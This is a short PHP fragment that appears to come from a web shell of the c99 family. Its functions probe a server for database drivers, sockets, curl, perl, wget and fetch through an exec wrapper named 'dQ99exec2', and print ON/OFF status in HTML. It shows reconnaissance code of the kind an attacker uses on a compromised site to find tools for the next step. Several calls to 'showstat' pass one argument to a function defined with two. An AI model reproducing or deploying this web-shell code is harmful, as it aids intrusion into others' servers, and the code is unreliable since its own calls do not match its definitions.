function testcurl() { if (@function_exists('curl_version')) { return showstat("on"); } else { return showstat("off"); } }
function testmysql() { if (function_exists('mysql_connect')) { return showstat("on"); } else { return showstat("off"); } }
function testperl() { if (exe('perl -h')) { return showstat("on"); } else { return showstat("off"); } }
function get_status() { function showstat($sup, $stat) { if ($stat == "on") { return "{$sup}: <font color=#00FF00><b>ON</b></font>"; } else { return "{$sup}: <font color=#FF9900><b>OFF</b></font>"; } } $arrfunc = array(array("MySQL", "mysql_connect"), array("MSSQL", "mssql_connect"), array("Oracle", "ocilogon"), array("PostgreSQL", "pg_connect"), array("Curl", "curl_version")); $arrcmd = array(array("Fetch", "fetch --help"), array("Wget", "wget --help"), array("Perl", "perl -v")); $statinfo = array(); foreach ($arrfunc as $func) { if (function_exists($func[1])) { $statinfo[] = showstat($func[0], "on"); } else { $statinfo[] = showstat($func[0], "off"); } } $statinfo[] = @extension_loaded('sockets') ? showstat("Sockets", "on") : showstat("Sockets", "off"); foreach ($arrcmd as $cmd) { if (dQ99exec2($cmd[1])) { $statinfo[] = showstat($cmd[0], "on"); } else { $statinfo[] = showstat($cmd[0], "off"); } } return implode(" ", $statinfo); }